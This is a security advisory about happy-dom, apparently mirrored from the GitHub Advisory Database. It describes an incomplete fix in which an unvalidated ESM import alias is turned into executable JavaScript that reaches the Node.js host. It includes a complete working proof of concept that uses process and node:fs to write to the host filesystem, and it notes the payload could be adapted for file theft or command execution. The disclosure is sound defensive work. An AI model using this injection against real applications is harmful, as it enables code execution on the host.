happy-dom
Affected
- introduced
17.0.0, fixed21.0.4(semver)
Fixed versions
21.0.4
Fix
- Fixed version
21.0.4npm install [email protected]
Advisory
Also known as: CVE-2026-115895
Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution
Summary
The ESM compiler in [email protected] does not validate imported local binding aliases before interpolating them into generated JavaScript.
As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.
This appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates importName in the local export { ... } handler, but the named import handler still places an unvalidated alias directly into code context.
These issues were confirmed through the public Window and <script type="module"> APIs using the published happy-dom npm package. The PoC reaches the Node.js host process, obtains node:fs, and creates a proof directory on the host filesystem.
Confirmed affected versions
The PoC was directly tested against:
The same PoC does not trigger on [email protected].
The ESM compiler was introduced by commit 7bc831df2, first released in v17.0.0. The vulnerable interpolation remains present through v20.14.5, the latest release at the time of testing.
Suggested affected range:
>= 17.0.0, <= 20.14.5
No patched version is currently available.
Preconditions
enableJavaScriptEvaluation: true.Technical details
In packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, the named import handler splits an import specifier and extracts its alias:
const nameParts = part.trim().split(/\s+as\s+/);
const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const name = nameParts[0].replace(/["']/g, '');
if (alias && name) {
properties.push({ name, alias });
}
Unlike the patched export { ... } handler, the value of alias is not validated as a JavaScript identifier.
It is subsequently inserted directly into generated binding syntax:
newCodeStart += `let {${properties
.map((property) =>
property.alias
? `"${property.name}": ${property.alias}`
: property.name
)
.join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;
Consider the following source:
import {
missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
This is invalid ECMAScript module syntax. Node.js rejects it at the = token.
Happy DOM instead transforms it into the equivalent of:
let {
"missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} = $happy_dom.imports.get('https://poc.local/dep.json');
This generated JavaScript is valid. Because the imported JSON object does not contain a missing property, the default initializer executes.
The with { type: 'json' } attribute is relevant because the compiler only generates its circular import resolver for ESM imports:
if (!match[7] || match[7] === 'esm') {
resolvableCircularImports.push({ url, properties });
}
Using a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid.
Backtick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs:
globalThis.constructor.constructor(`return process`)()
.getBuiltinModule(`node:fs`)
.mkdirSync(
globalThis.constructor.constructor(`return process`)().cwd() +
`/HAPPY_DOM_RCE_PROOF`
)
Proof of concept
The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named HAPPY_DOM_RCE_PROOF.
1. Create package.json
{
"name": "happy-dom-import-alias-rce-poc",
"private": true,
"type": "module",
"dependencies": {
"happy-dom": "20.14.5"
}
}
2. Create dep.json
{}
3. Create payload.mjs
This file is used as a control to demonstrate that a native ECMAScript parser rejects the source:
import {
missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
4. Create poc.mjs
import { Window } from 'happy-dom';
import { existsSync, rmSync } from 'node:fs';
import { resolve } from 'node:path';
const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');
rmSync(proofDirectory, { recursive: true, force: true });
const window = new Window({
url: 'https://poc.local/',
settings: {
enableJavaScriptEvaluation: true,
suppressCodeGenerationFromStringsWarning: true,
fetch: {
virtualServers: [
{
url: 'https://poc.local/',
directory: process.cwd()
}
]
}
}
});
const script = window.document.createElement('script');
script.type = 'module';
script.textContent = `
import {
missing as injected = globalThis.constructor.constructor(\`return process\`)()
.getBuiltinModule(\`node:fs\`)
.mkdirSync(
globalThis.constructor.constructor(\`return process\`)().cwd() +
\`/HAPPY_DOM_RCE_PROOF\`
)
} from './dep.json' with { type: 'json' };
`;
window.document.body.appendChild(script);
await window.happyDOM.waitUntilComplete();
if (!existsSync(proofDirectory)) {
console.error('[-] Exploit failed: proof directory was not created.');
console.error(
window.happyDOM.virtualConsolePrinter.readAsString()
);
process.exitCode = 1;
} else {
console.log(`[+] Host filesystem reached: ${proofDirectory}`);
}
await window.happyDOM.close();
5. Run the control test
npm install
node --check payload.mjs
Expected result:
SyntaxError: Unexpected token '='
This confirms that the source is not valid ESM.
6. Run the Happy DOM PoC
node poc.mjs
Expected result:
[+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF
The existence of HAPPY_DOM_RCE_PROOF confirms that the expression injected through the import alias executed and reached the host filesystem.
The PoC was also verified inside a node:24-alpine Docker container, where it created:
/poc/HAPPY_DOM_RCE_PROOF
Impact
An attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript.
This may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected.
The demonstrated payload reaches Node.js process and built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process.
Relationship to CVE-2026-33943
CVE-2026-33943 covers expression injection through a local export declaration:
High Basis: The source's own band: HIGH
17.0.0, fixed 21.0.4 (semver)21.0.4
21.0.4npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0